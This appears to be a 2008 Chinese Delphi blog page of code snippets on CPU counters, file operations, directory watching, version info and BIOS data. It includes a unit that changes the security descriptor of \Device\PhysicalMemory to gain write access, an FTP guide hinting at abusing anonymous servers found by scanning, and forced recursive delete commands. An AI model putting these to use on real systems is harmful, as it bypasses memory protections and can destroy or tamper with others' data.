NumObjectTypes: DWORD;
DefaultObject: longint;
SystemTime: TSystemTime;
Reserved: DWORD;
PerfTime: TInt64;
PerfFreq: TInt64;
PerfTime100nSec: TInt64;
SystemNameLength: DWORD;
SystemNameOffset: DWORD;
end;
PPERF_DATA_BLOCK = ^TPERF_DATA_BLOCK;
TPERF_OBJECT_TYPE = record
TotalByteLength: DWORD;
DefinitionLength: DWORD;
HeaderLength: DWORD;
ObjectNameTitleIndex: DWORD;
ObjectNameTitle: LPWSTR;
ObjectHelpTitleIndex: DWORD;
ObjectHelpTitle: LPWSTR;
DetailLevel: DWORD;
NumCounters: DWORD;
DefaultCounter: longint;
NumInstances: longint;
CodePage: DWORD;
PerfTime: TInt64;
PerfFreq: TInt64;
end;
PPERF_OBJECT_TYPE = ^TPERF_OBJECT_TYPE;
type
TPERF_COUNTER_DEFINITION = record
ByteLength: DWORD;
CounterNameTitleIndex: DWORD;
CounterNameTitle: LPWSTR;
CounterHelpTitleIndex: DWORD;
CounterHelpTitle: LPWSTR;
DefaultScale: longint;
DetailLevel: DWORD;
CounterType: DWORD;
CounterSize: DWORD;
CounterOffset: DWORD;
end;
PPERF_COUNTER_DEFINITION = ^TPERF_COUNTER_DEFINITION;
TPERF_COUNTER_BLOCK = record
ByteLength: DWORD;
end;
PPERF_COUNTER_BLOCK = ^TPERF_COUNTER_BLOCK;
TPERF_INSTANCE_DEFINITION = record
ByteLength: DWORD;
ParentObjectTitleIndex: DWORD;
ParentObjectInstance: DWORD;
UniqueID: longint;
NameOffset: DWORD;
NameLength: DWORD;
end;
PPERF_INSTANCE_DEFINITION = ^TPERF_INSTANCE_DEFINITION;
type
TInt64F = TInt64;
type
FInt64 = TInt64F;
Int64D = TInt64;
//------------------------------------------------------------------------------
const
Processor_IDX_Str = ‘238‘;
Processor_IDX = 238;
CPUUsageIDX = 6;
type
AInt64F = array[0..$FFFF] of TInt64F;
PAInt64F = ^AInt64F;
var
_PerfData: PPERF_DATA_BLOCK;
_BufferSize: integer;
_POT: PPERF_OBJECT_TYPE;
_PCD: PPerf_Counter_Definition;
_ProcessorsCount: integer;
_Counters: PAInt64F;
_PrevCounters: PAInt64F;
_SysTime: TInt64F;
_PrevSysTime: TInt64F;
_IsWinNT: boolean;
_W9xCollecting: boolean;
_W9xCpuUsage: DWORD;
_W9xCpuKey: HKEY;
//------------------------------------------------------------------------------
function GetCPUCount: integer;
begin
if _IsWinNT then
begin
if _ProcessorsCount < 0 then
CollectCPUData;
Result := _ProcessorsCount;
end else
begin
Result := 1;
end;
end;
//------------------------------------------------------------------------------
procedure ReleaseCPUData;
var
H: HKEY;
R: DWORD;
dwDataSize, dwType: DWORD;
begin
if _IsWinNT then
exit;
if not _W9xCollecting then
exit;
_W9xCollecting := False;
RegCloseKey(_W9xCpuKey);
R := RegOpenKeyEx(HKEY_DYN_DATA, ‘PerfStats\StopStat‘, 0, KEY_ALL_ACCESS, H);
if R <> ERROR_SUCCESS then
exit;
dwDataSize := sizeof(DWORD);
RegQueryValueEx(H, ‘KERNEL\CPUUsage‘, nil, @dwType, PBYTE(@_W9xCpuUsage),
@dwDataSize);
RegCloseKey(H);
end;
//------------
|
| 2008-2-1 15:51:57 Delphizhou 发表评论。 |
|
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
如何批量删除文件
1、做成.bat批处理程序
新建一个文本输入：
@echo off
del/f/s/q E:\*.html
保存为 del_file.bat 然后双击运行即可。
2、用DOS命令删除
如何用DOS命令批量删除文件？比如viking蠕虫病毒会在系统里产生大量的“_desktop.ini”文件，虽然杀毒后系统无问题了，但看着总归不爽。我们可使用DOS命令批量删除“_desktop.ini”。
点击“开始”→“运行”，输入：“CMD”后回车。然后在“命令提示符”窗口下输入：
del X:\myfile.html /f /s /q /a （X代表你要操作的盘符，如果是C盘就把X改成C）
强制删除X盘下所有目录内（包括X盘本身）的_desktop.ini文件并且不提示是否删除。
参数含义：
/f 强制删除只读文件。
/q 指定静音状态。不提示您确认删除。
/s 从当前目录及其所有子目录中删除指定文件。显示正在被删除的文件名。
/a 按照属性来删除。
还有很多朋友说机器中有很多“thumbs.db”的隐藏文件，那是正常的。是系统启用了图片缓存缩略图所产生的文件，如果想清除的话，一样可以使用上述方法批量删除该文件，比如C盘：
del c:\thumbs.db /f /s /q /a
删除了这个文件以后，为了找个一劳永逸的方法，我们再接着输入：
regsvr32 /u shmedia.dll
确定之后，系统不会再产生“thumbs.db”文件了。（还是建议开启该项，能加快文件夹中的图片预览速度）
========================================================================================
怎样批量删除文件名的空格？
ls >tmp.nospace
sed -e ‘s/\ //g‘ tmp.nospace >tmp2.nospace
我可以把目录中的文件名放在一个文件中，然后删除其中的空格. 但是怎样把原来的文件名赋给一个数组，再用tmp2.nospace中每一行的文件名替换旧的文件名? 或者有什么更方便的办法达到这个目标?
下面的是一个简单的将.txt文件转成.htm文件的脚本，缺点是当文件名带空格时会出错。
#txt2html
sed -e ‘a<p>‘ $1 > $1.htm
cat /download/html_start.part $1.htm /download/html_end.part > $1.html
rm $1.htm
#/download/html_start.part
<html>
<head>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<style>
body{margin:2em 2em 2em 2em;word-spacing:1em;line-height:25pt}
</style>
</head>
<body>
#/download/html_end.part
</body>
</html>
|
| 2008-3-7 13:51:28 Delphizhou 发表评论。 |
|
/////////////////////////////////////////////////////////////////////////////////////////////////////////
發一個delphi下無力內存讀寫的代碼。非原創，整理別人的代碼。大俠拍磚啊！
{**********
Author:CMZY
Version:
Time:2008/02/20
mail:[email protected]
读写物理和其它进程内存的API
function:
function ReadOrWritePhyMem(ReadOnly:Boolean; //为TRUE时表示读，FALSE时表示写
Address, //起始地址
Length:DWORD; //长度
buffer:Pointer //缓冲区
):boolean; //成功返回true
function ReadOrWriteProcessMem(ReadOrWrite:Boolean; //为TRUE时表示读，FALSE时表示写
Pid:Cardinal; //进程PID
Address, //起始地址
Length:DWORD; //长度
buffer:Pointer //缓冲区
):Boolean; //成功返回true
**********}
unit MemReadWrite;
interface
uses Windows,SysUtils, Variants, Dialogs, Classes,Aclapi,Accctrl;
type
PUnicodeString = ^TUnicodeString;
TUnicodeString = packed record
Length: Word;
MaximumLength: Word;
Buffer: PWideChar;
end;
NTSTATUS = Integer;
PObjectAttributes = ^TObjectAttributes;
TObjectAttributes = packed record
Length: DWORD;
RootDirectory: THandle;
ObjectName: PUnicodeString;
Attributes: DWORD;
SecurityDescriptor: PSecurityDescriptor;
SecurityQualityOfService: PSecurityQualityOfService;
end;
TZwOpenSection = function(var SectionHandle: THandle; //返回物理内存句柄
DesiredAccess: ACCESS_MASK; //访问权限
var ObjectAttributes: TObjectAttributes
): NTSTATUS;stdcall; //成功则返回status_success
TzwClose=procedure(Sectionhandle:Thandle
);stdcall;
TRtlInitUnicodeString = procedure(var DestinationString: TUnicodeString;
vSourceString: WideString);stdcall;
const
STATUS_SUCCESS = NTSTATUS(0);
STATUS_INVALID_HANDLE = NTSTATUS($C0000008);
STATUS_ACCESS_DENIED = NTSTATUS($C0000022);
OBJ_INHERIT = $00000002;
OBJ_PERMANENT = $00000010;
OBJ_EXCLUSIVE = $00000020;
OBJ_CASE_INSENSITIVE = $00000040;
OBJ_OPENIF = $00000080;
OBJ_OPENLINK = $00000100;
OBJ_KERNEL_HANDLE = $00000200;
OBJ_VALID_ATTRIBUTES = $000003F2;
ObjectPhysicalMemoryDeviceName = ‘\Device\Physicalmemory‘;
NTDLL = ‘ntdll.dll‘;
var
ZwOpenSection: TZwOpenSection;
zwClose:TzwClose;
RtlInitUnicodeString: TRtlInitUnicodeString;
hNtdll:HMODULE;
function ReadOrWritePhyMem(ReadOnly:Boolean;
Address,
Length:DWORD;
buffer:Pointer
):boolean;
function ReadOrWriteProcessMem(ReadOrWrite:Boolean;
Pid,
Address,
Length:DWORD;
buffer:Pointer
):Boolean;
implementation
//加载NT.dll并找到函数
function LocateNtdllEntryPoints: BOOLEAN;
begin
Result:=false;
hNtDll:=GetModuleHandle(NTDLL);
if hNTdll=0 then Exit;
if not Assigned(ZwOpenSection) then
ZwOpenSection:=GetProcAddress(hNtdll,‘ZwOpenSection‘);
if not Assigned(ZwClose) then
ZwClose:=GetProcAddress(hNtDll,‘ZwClose‘);
if Not Assigned(RtlInitUnicodeString) then
RtlInitUnicodeString:=GetProcAddress(hNtDll,‘RtlInitUnicodeString‘);
Result:=true;
end;
//设置物理内存为可写
function SetPhyMemCanBeWrite(hSection:THandle):Boolean;
var
pDacl,pNewDacl:PACL;
pSD:PPSECURITY_DESCRIPTOR;
dwRes:Cardinal;
ea:EXPLICIT_ACCESS_A;
label CleanUp;
begin
result:=false;
pDacl:=nil;
pNewDacl:=nil;
pSD:=nil;
//获取物理内存的安全信息
dwRes:=GetSecurityInfo(hSection,
SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION,
nil,
nil,
@pDacl,
nil,
pSD);
if dwRes<>ERROR_SUCCESS then
begin
if pSD<>nil then LocalFree(Cardinal(pSD^));
if pNewDacl<>nil then LocalFree(Cardinal(pSD^));
raise Exception.Create(‘不能获得物理内存的安全信息！‘)
end;
FillChar(ea,SizeOf(EXPLICIT_ACCESS_A),0);
ea.grfAccessPermissions:=SECTION_MAP_WRITE;//可写的
ea.grfAccessMode:=GRANT_ACCESS;//授予所有权限
ea.grfInheritance:=NO_INHERITANCE;//不可继承
ea.Trustee.TrusteeForm:=TRUSTEE_IS_NAME; //用户
ea.Trustee.TrusteeType:=TRUSTEE_IS_USER;
ea.Trustee.ptstrName:=‘CURRENT_USER‘;
SetEntriesInAcl(1,@ea,nil,pNewDacl);
//设置物理内存段的安全信息
dwRes:=SetSecurityInfo(hSection,
SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION,
nil,
nil,
@pNewDacl,
nil);
if dwRes = ERRO
|
| 2008-3-10 12:27:01 Delphizhou 发表评论。 |
|
/////////////////////////////////////////////////////////////////////////////////////////////////
文件操作
Windows95/NT中提供了一个API函数SHFileOperation()，它只有一个指向SHFILEOPSTRUCT结构的参数。SHFileOperation（）函数的原形如下：
---- WIN SHELL API int WINAPI SHFileOperation (LPSHFILEOPSTRUCT lpFIleOp);
---- LPSHFILEOPSTRUCT结构包含有进行文件操作的各种信息，其具体的结构如下：
Typedef struct _ShFILEOPSTRUCT {
HWND hWnd; //消息窗口
UINT wFunc; //操作类型
LPCSTR pFrom; //源文件及路径
LPCSTR pTo; //目标文件及路径
FILEOP_FLAGS fFlags; //操作与确认标志
BOOL fAnyOperationsAborted; //操作选择位
LPVOID hNameMappings; //文件映射
LPCSTR lpszProgressTitle; //进度窗口标题
} SHFILEOPSTRUCT, FAR* LPSHFILEOPSTRUCT;
---- 在这个结构中，有几个成员很重要。hWnd是指向发送消息的窗口，pFrom与pTo是进行文件操作的源文件名和目标文件名，它包含文件的路径，对于多个文件名之间用NULL作为间隔，并且可以支持通配符*和？。如源文件或目录有两个，则应是：
char pFrom[]="c:\\windows\\command
\0c:\\dos\\himem.sys\0"
---- 它表示对c:\windows\command目录下的所有文件和c:\dos\himem.sys文件进行操作。‘\\‘是C语言中的‘\‘的转义符，‘\0‘则是NULL。wFunc 是结构中的重要成员，它指出将要进行的操作类型,是下面的操作类型之一：
---- FO_COPY: 拷贝文件pFrom到pTo 的指定位置。
---- FO_RENAME: 将pFrom的文件名更名为pTo的文件名。
---- FO_MOVE: 将pFrom的文件移动到pTo的地方。
---- FO_DELETE： 删除pFrom指定的文件。
---- 在进行文件拷贝、移动或删除时，如果需要的时间很长，则会在进行的过程中出现一个无模式的对话框，可以显示执行的进度和执行的时间，以及正拷贝移动或删除的文件名，成员lpszProgressTitle显示此对话框的标题。fFlags是在进行文件操作时的过程和状态控制标识。它主要有如下一些标识，也可以是其组合。
---- FOF_FILESONLY:不执行通配符，只执行文件.
---- FOF_ALLOWUNDO：保存 UNDO信息，以便恢复.
---- FOF_NOCONFIRMATION: 在出现目标文件已存在的时候，如果不设置此项，则它会出现确认是否覆盖的对话框，设置此项则自动确认，进行覆盖，不出现对话框。
---- FOF_NOERRORUI: 设置此项后，当文件处理过程中出现错误时，不出现错误提示，否则会进行错误提示。
---- FOF_RENAMEONCOLLISION: 当已存在文件名时，对其进行更换文件名提示。
---- FOF_SILENT: 不显示进度对话框。
---- FOF_WANTMAPPINGHANDLE: 要求SHFileOperation()函数返回正处于操作状态的实际文件列表，文件列表名柄保存在hNameMappings成员中。SHFILEOPSTRUCT将包含一个SHNAMEMAPPING结构
的数组，此数组保存由SHELL计算的每个处于操作状态的文件的新旧路径。
|
| 2008-3-10 12:28:35 Delphizhou 发表评论。 |
|
/////////////////////////////////////////////////////////////////////////////////////////////////
FTP命令大全
Commands may be abbreviated. Commands are:
! delete literal prompt send
? debug ls put status
append dir mdelete pwd trace
ascii disconnect mdir quit type
bell get mget quote user
binary glob mkdir recv verbose
bye hash mls remotehelp
cd help mput rename
close lcd open rmdir
大家对这个命令应该比较熟悉了吧？网络上开放的ftp的主机很多，其中很大一部分是匿名的，也就是说任何人都可以登陆上去。现在如果你扫到了一台开放ftp服务的主机（一般都是开了21端口的机器）.
大家可能看到了，这么多命令该怎么用？其实也用不到那么多，掌握几个基本的就够了。
首先是登陆过程，这就要用到open了，直接在ftp的提示符下输入“open 主机IP ftp端口”回车即可，一般端口默认都是21，可以不写。接着就是输入合法的用户名和密码进行登陆了，这里以匿名ftp为例介绍。
用户名和密码都是ftp，密码是不显示的。当提示**** logged in时，就说明登陆成功。这里因为是匿名登陆，所以用户显示为Anonymous。
接下来就要介绍具体命令的使用方法了。
dir 跟DOS命令一样，用于查看服务器的文件，直接敲上dir回车，就可以看到此ftp服务器上的文件。
cd 进入某个文件夹。
get 下载文件到本地机器。
put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了，如果可以，呵呵，该怎么 利用就不多说了，大家就自由发挥去吧。
delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。
bye 退出当前连接。
quit 同上。
FTP命令大全及其应用
ftp的命令行格式为:ftp －v －d －i －n －g[主机名]
－v 显示远程服务器的所有响应信息。
－d 使用调试方式。
－n 限制ftp的自动登录,即不使用.netrc文件。
－g 取消全局文件名。
ftp使用的内部命令如下(其中括号表示可选项):
1.![cmd[args]]在本地机中执行交互shell、exit回到ftp环境,如!ls＊.zip。
2.￥ macro－ame[args]执行宏定义macro－name。
3.account[password]提供登录远程系统成功后访问系统资源所需的补充口令。
4.appendlocal－file[remote－file]将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。
5.ascii 使用ascii类型传输方式。
6.bell每个命令执行完毕后计算机响铃一次。
7.bin使用二进制文件传输方式。
8.bye退出ftp会话过程。
9.case在使用mget时,将远程主机文件名中的大写转为小写字母。
10.cd remote－dir 进入远程主机目录。
11.cdup进入远程主机目录的父目录。
12.chmod modefile－name将远程主机文件file－name的存取方式设置为mode,如chmod 777 a.out。
13.close中断与远程服务器的ftp会话(与open对应)。
14.cr使用asscii方式传输文件时,将回车换行转换为回行。
15.delete remote－file删除远程主机文件。
16.debug[debug－value]设置调试方式,显示发送至远程主机的每条命令,如debup 3,若 设为0,表示取消debug。
17.dir[remote－dir][local－file]显示远程主机目录,并将结果存入local－file。
18.disconnection同close。
19.form format将文件传输方式设置为format,缺省为file方式。
20.getremote－file[local－file]将远程主机的文件remote－file传至本地硬盘的local－file。
21.glob设置mdelete、mget、mput的文件名扩展,缺省时不扩展文件名,同命令行的－g参数。
22.hash每传输1024字节,显示一个hash符号(＃)。
23.help[cmd]显示ftp内部命令cmd的帮助信息,如help get。
24.idle[seconds]将远程服务器的休眠计时器设为[seconds]秒。
25.image设置二进制传输方式(同binary)
26.lcd[dir]将本地工作目录切换至dir。
27.ls[remote－dir][local－file]显示远程目录remote－dir,并存入本地local－file。
28.macdef macro－name定义一个宏,遇到macdef下的空行时,宏定义结束。
29.mdelete[remote－file]删除远程主机文件。
30.mdir remote－files local－file与dir类似,但可指定多个远程文
|
| 2008-4-9 10:42:24 Delphiguanshui 发表评论。 |
| |
| 2008-6-18 15:30:18 Delphizhou 发表评论。 |
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
获取Exe文件版本信息的函数
Type TFileVersionInfo = Record
FixedInfo:TVSFixedFileInfo; {版本信息}
CompanyName:String; {公司名称}
FileDescription:String; {说明}
FileVersion:String; {文件版本}
InternalName:String; {内部名称}
LegalCopyright:String; {版权}
LegalTrademarks:String; {合法商标}
OriginalFilename:String; {源文件名}
ProductName:String; {产品名称}
ProductVersion:String; {产品版本}
Comments:String; {备注}
LocalPort:String; {Local UDP_Message Port}
end;
Function GetFileVerInfo(ExeFileName :Pchar;var VerSionInfo:TFileVersionInfo):Boolean;
var
dwHandle, dwVersionSize : DWORD;
Find : String;
pcBuffer : PChar;
pTemp : Pointer;
FileVersionInfo : TVSFixedFileInfo;
begin
Find := ‘\‘;
dwVersionSize := GetFileVersionInfoSize( PChar(ExeFilename),dwHandle );
if dwVersionSize = 0 then begin
Result:=False;
Exit;
end;
GetMem( pcBuffer, dwVersionSize );
if not GetFileVersionInfo( PChar(ExeFilename),dwHandle,dwVersionSize,pcBuffer ) then begin
FreeMem(pcBuffer);
Result:=False;
Exit;
end;
if not VerQueryValue( pcBuffer,PChar(Find),pTemp,dwVersionSize ) then begin
FreeMem(pcBuffer);
Result:=False;
Exit;
end;
FileVersionInfo:=PVSFixedFileInfo(pTemp)^;
With FileVersionInfo do begin
VersionInfo.FixedInfo.dwSignature:=dwSignature;
VersionInfo.FixedInfo.dwStrucVersion:=dwStrucVersion;
VersionInfo.FixedInfo.dwFileVersionMS:=dwFileVersionMS;
VersionInfo.FixedInfo.dwFileVersionLS:=dwFileVersionLS;
VersionInfo.FixedInfo.dwProductVersionMS:=dwProductVersionMS;
VersionInfo.FixedInfo.dwProductVersionLS:=dwProductVersionLS;
VersionInfo.FixedInfo.dwFileFlagsMask:=FileVersionInfo.dwFileFlagsMask;
VersionInfo.FixedInfo.dwFileFlags:=fileVersionInfo.dwFileFlags;
VersionInfo.FixedInfo.dwFileOS:=FileVersionInfo.dwFileOS;
VersionInfo.FixedInfo.dwFileType:=FileVersionInfo.dwFileType;
VersionInfo.FixedInfo.dwFileSubtype:=FileVersionInfo.dwFileSubtype;
VersionInfo.FixedInfo.dwFileDateMS:=FileVersionInfo.dwFileDateMS;
VersionInfo.FixedInfo.dwFileDateLS:=FileVersionInfo.dwFileDateLS;
end;
Find := ‘\StringFileInfo\080403A8\‘;
if VerQueryValue( pcBuffer,PChar(Find+‘CompanyName‘),pTemp,dwVersionSize ) then
VersionInfo.CompanyName:=PChar(pTemp)
else begin
Find := ‘\StringFileInfo\040904E4\‘;
if VerQueryValue( pcBuffer,PChar(Find+‘CompanyName‘),pTemp,dwVersionSize ) then
VersionInfo.CompanyName:=PChar(pTemp)
else begin
Result:=False;
Exit;
end;
end;
if VerQueryValue( pcBuffer,PChar(Find+‘FileDescription‘),pTemp,dwVersionSize ) then
VersionInfo.FileDescription:=PChar(pTemp);
if VerQueryValue( pcBuffer,PChar(Find+‘FileVersion‘),pTemp,dwVersionSize ) then
VersionInfo.FileVersion:=PChar(pTemp);
if VerQueryValue( pcBuffer,PChar(Find+‘InternalName‘),pTemp,dwVersionSize ) then
VersionInfo.InternalName:=PChar(pTemp);
if VerQueryValue( pcBuffer,PChar(Find+‘LegalCopyright‘),pTemp,dwVersionSize ) then
VersionInfo.LegalCopyright:=PChar(pTemp);
if VerQueryValue( pcBuffer,PChar(Find+‘LegalTrademarks‘),pTemp,dwVersionSize ) then
VersionInfo.LegalTrademarks:=PChar(pTemp);
if VerQueryValue( pcBuffer,PChar(Find+‘OriginalFilename‘),pTemp,dwVersionSize ) then
VersionInfo.OriginalFilename:=PChar(pTemp);
if VerQueryValue( pcBuffer,PChar(Find+‘ProductName‘),pTemp,dwVersionSize ) then
VersionInfo.ProductName:=PChar(pTemp);
if VerQueryValue( pcBuffer,PChar(Find+‘ProductVersion‘),pTemp,dwVersionSize ) then
VersionInfo.ProductVersion:=PChar(pTemp);
if VerQueryValue( pcBuffer,PChar(Find+‘Comments‘),pTemp,dwVersionSize ) then
VersionInfo.Comments:=PChar(pTemp);
if VerQueryValue( pcBuffer,PChar(Find+‘LocalPort‘),pTemp,dwVersionSize ) then
VersionInfo.LocalPort:=PChar(pTemp)
else
VersionInfo.LocalPort:=‘66500‘;
FreeMem(pcBuffer );
Result:=True;
end;
|
| |
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
API获取程序的版本信息|delphi获取exe文件的版本信息
API获取程序的版本信息
delphi获取exe文件的版本信息
找到这个API函数GetFileVersioninfo;
procedure TForm1.GetVersionInfo; //定义一个过程
Const
SNotAvailable=‘无信息‘;
var
LanguageID:string;
CodePage:string;
FileVersion:string; //版本信息
TranslationLength: Cardinal;
TranslationTable: Pointer;
InfoSize,Temp,Len: DWord;
InfoBuf:Pointer;
Value:Pchar;
Lookupstring,FilePath:string;
FVersionInfoAvailable:Boolean;
begin
FilePath:=Edit1.Text; //Edit控制中写入了文件所在路径
infosize:=GetFileVersionInfoSize(Pchar(FilePath),Temp); //获取文件大小的信息
FVersioninfoAvailable:= Infosize>0;
if FVersioninfoAvailable then
begin
infoBuf:=AllocMem(infosize); // 建立一段内存
try
GetFileVersioninfo(Pchar(Filepath),0,infosize,infoBuf);
if VerQueryValue(InfoBuf,‘\VarFileInfo\Translation‘,TranslationTable,TranslationLength) then
begin
CodePage:=Format(‘%.4x‘,[HiWord(PLongInt(TranslationTable)^)]);
LanguageID:=Format(‘%.4x‘,[LoWord(PLongInt(TranslationTable)^)]);
end;
LookupString:=‘StringFileInfo\‘+ LanguageID + CodePage + ‘\‘;
if VerQueryValue(InfoBuf,PChar(LookupString+‘FileVersion‘),Pointer(Value),len) then
FileVersion:=Value; //获取版本信息
finally
FreeMem(InfoBuf,infosize); // Free掉内存
end;
end
else
FileVersion:=SNotAvailable;
Memo1.Clear;
Memo1.Lines.Add(FileVersion); //写到了Memo控件中.
end;
|
| 2008-7-12 10:16:59 Delphizhou 发表评论。 |
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
20： 判断文件夹下子文件夹是否为空，及删除子文件夹
unit unDirOption;
interface
uses SysUtils, Classes;
//查当前文件夹下的所有子文件
procedure SearchFile(DirName: String; var sList: TStrings);
//判断文件夹是否为空
function IsEmptyDir(sDir: String): Boolean;
//判断字符串是否为数字
function IsNumber(sStr: String): Boolean;
//删除文件夹
procedure DeleteDir(sDirectory: String);
{
执行删除文件夹操作
sFileName -> 要扫描的文件夹路径 sList -> 用至装载将扫描到的文件夹
iDay -> 区别是扫10个字符还是8个字符 （超速是8个，过往车辆是10个）
iAgoDay -> 要删除多少天前的记录
}
procedure ExecuteDeleteDir(Const sFileName: String; var sList: TStrings;
iDay, iAgoDay: Integer);
var
MyFileName: string;
implementation
procedure SearchFile(DirName: String; var sList: TStrings);
Var
Found: integer;
SearchRec: TSearchRec;
begin
Found := FindFirst(DirName + ‘*.*‘,faAnyFile,searchrec);
while Found = 0 do
begin
if ((SearchRec.Attr and faDirectory)<>0) then //directory
begin
if(SearchRec.Name <> ‘.‘)and(SearchRec.Name <> ‘..‘) then
begin
SearchFile(DirName + SearchRec.Name + ‘\‘, sList);
MyFileName := DirName + SearchRec.Name;
sList.Insert(0, MyFileName);
end;
end;
Found := FindNext(SearchRec);
end;
FindClose(SearchRec);
end;
procedure ExecuteDeleteDir(Const sFileName: String; var sList: TStrings;
iDay, iAgoDay: Integer);
var
I: Integer;
LastDir: String; //文件夹最后几个字符
DirDate: String;//当前文件夹的日期
begin
SearchFile(sFileName, sList);
for I := 0 to sList.Count - 1 do
begin
if iDay = 10 then
LastDir := copy(sList.Strings[i],length(sList.Strings[i])-9,10)
else LastDir := copy(sList.Strings[i],length(sList.Strings[i])-9,8);
if IsNumber(LastDir) then
begin
DirDate := copy(sList.Strings[i],length(sList.Strings[i])-9,8);
//此处将字符串转为日期格式
DirDate := Copy(DirDate,1,4) + ‘-‘ + Copy(DirDate,5,2) + ‘-‘ + Copy(DirDate,7,2);
if StrToDate(DirDate) < Date - iAgoDay then //进行条件筛选
begin
//判断文件夹是否为空
//if IsEmptyDir(sList.Strings[i]) then
DeleteDir(sList.Strings[i]);
end;
end;
end;
end;
function IsEmptyDir(sDir: String): Boolean;
var
sr: TsearchRec;
begin
Result := True;
if Copy(sDir, Length(sDir) - 1, 1) <> ‘\‘ then sDir := sDir + ‘\‘;
if FindFirst(sDir + ‘*.*‘, faAnyFile, sr) = 0 then
repeat
if (sr.Name <> ‘.‘) and (sr.Name <> ‘..‘) then
begin
Result := False;
break;
end;
until FindNext(sr) <> 0;
FindClose(sr);
end;
function IsNumber(sStr: String): Boolean;
var
i,iLength: integer;
begin
iLength := Length(sStr);
for i := 1 to iLength do
begin
if not (sStr[i] in [‘0‘..‘9‘]) then
begin
Result := false;
exit;
end
end;
Result := true;
end;
procedure DeleteDir(sDirectory: String);
//删除目录和目录下得所有文件和文件夹
var
sr: TSearchRec;
sPath,sFile: String;
begin
//检查目录名后面是否有 ‘\‘
if Copy(sDirectory,Length(sDirectory),1) <> ‘\‘ then
sPath := sDirectory + ‘\‘
else
sPath := sDirectory;
//------------------------------------------------------------------
if FindFirst(sPath+‘*.*‘,faAnyFile, sr) = 0 then
begin
repeat
sFile:=Trim(sr.Name);
if sFile=‘.‘ then Continue;
if sFile=‘..‘ then Continue;
sFile:=sPath+sr.Name;
if (sr.Attr and faDirectory)<>0 then
DeleteDir(sFile)
else if (sr.Attr and faAnyFile) = sr.Attr then
DeleteFile(sFile); //删除文件
until FindNext(sr) <> 0;
FindClose(sr);
end;
RemoveDir(sPa
|
| 2008-7-12 10:18:23 Delphizhou 发表评论。 |
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
21： 监控文件夹下文件异动。。。pas文件（控件）
unit FileSystemWatcher;
interface
uses
Windows, Classes, SysUtils;
type
TFileOperation = (foAdded, foRemoved, foModified, foRenamed);
TFileDealMethod = procedure(FileOperation: TFileOperation; const FileName1,FileName2: string) of object;
TNotifyFilter = (nfFileNameChange, nfDirNameChange, nfAttributeChange,
nfSizeChange, nfWriteChange, nfAccessChange, nfCreationDateChange, nfSecurityChange);
TNotifyFilters = set of TNotifyFilter;
TNotificationBuffer = array[0..4095] of Byte;
PFileNotifyInformation = ^TFileNotifyInformation;
TFileNotifyInformation = record
NextEntryOffset: DWORD;
Action: DWORD;
FileNameLength: DWORD;
FileName: array[0..0] of WideChar;
end;
TShellChangeThread = class(TThread)
private
FActived: Boolean;
FDirectoryHandle: Cardinal;
FCS: TRTLCriticalSection;
FChangeEvent: TFileDealMethod;
FDirectory: string;
FWatchSubTree: Boolean;
FCompletionPort: Cardinal;
FOverlapped: TOverlapped;
FNotifyOptionFlags: DWORD;
FBytesWritten: DWORD;
FNotificationBuffer: TNotificationBuffer;
protected
procedure Execute; override;
procedure DoIOCompletionEvent;
function ResetReadDirctory: Boolean;
procedure Lock;
procedure Unlock;
public
constructor Create(ChangeEvent: TFileDealMethod); virtual;
destructor Destroy; override;
procedure SetDirectoryOptions(Directory : String; Actived: Boolean; WatchSubTree : Boolean;
NotifyOptionFlags : DWORD);
property ChangeEvent : TFileDealMethod read FChangeEvent write FChangeEvent;
end;
TFileSystemWatcher = class(TComponent)
private
FActived: Boolean;
FWatchedDir: string;
FThread: TShellChangeThread;
FOnChange: TFileDealMethod;
FWatchSubTree: Boolean;
FFilters: TNotifyFilters;
procedure SetWatchedDir(const Value: string);
procedure SetWatchSubTree(const Value: Boolean);
procedure SetOnChange(const Value: TFileDealMethod);
procedure SetFilters(const Value: TNotifyFilters);
function NotifyOptionFlags: DWORD;
procedure SetActived(const Value: Boolean);
protected
procedure Change;
procedure Start;
procedure Stop;
public
constructor Create(AOwner : TComponent); override;
destructor Destroy; override;
published
property Actived:Boolean read FActived write SetActived;
property WatchedDir: string read FWatchedDir write SetWatchedDir;
property WatchSubTree: Boolean read FWatchSubTree write SetWatchSubTree;
property NotifyFilters: TNotifyFilters read FFilters write SetFilters;
property OnChange: TFileDealMethod read FOnChange write SetOnChange;
end;
procedure Register;
implementation
procedure Register;
begin
RegisterComponents(‘Ctc‘‘s Vcl‘, [TFileSystemWatcher]);
end;
{ TShellChangeThread }
constructor TShellChangeThread.Create(ChangeEvent: TFileDealMethod);
begin
FreeOnTerminate := True;
FChangeEvent := ChangeEvent;
InitializeCriticalSection(FCS);
FDirectoryHandle := 0;
FCompletionPort := 0;
inherited Create(True);
end;
destructor TShellChangeThread.Destroy;
begin
CloseHandle(FDirectoryHandle);
CloseHandle(FCompletionPort);
DeleteCriticalSection(FCS);
inherited Destroy;
end;
procedure TShellChangeThread.DoIOCompletionEvent;
var
TempBuffer: TNotificationBuffer;
FileOpNotification: PFileNotifyInformation;
Offset: Longint;
FileName1, FileName2: string;
FileOperation: TFileOperation;
procedure DoDirChangeEvent;
begin
if Assigned(ChangeEvent) and FActived then
ChangeEvent(FileOperation, FileName1, FileName2);
end;
function CompleteFileName(const FileName:string):string;
begin
Result := ‘‘;
if
|
| 2008-8-27 13:50:58 Delphizhou 发表评论。 |
|
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
22:获取主板Bios的信息
1、读取主板序列号
2、AWard Bios密码读取
3、读取BIOS信息
4、获取BIOS日期信息
＝＝＝＝＝＝＝＝＝＝
1、读取主板序列号
uses SHA1, Base64;
function GetHashedBiosInfo: string;
var
SHA1Context: TSHA1Context;
SHA1Digest: TSHA1Digest;
begin
// Get the BIOS data
SetString(Result, PChar(Ptr($F0000)), $10000);
// Hash the string
SHA1Init(SHA1Context);
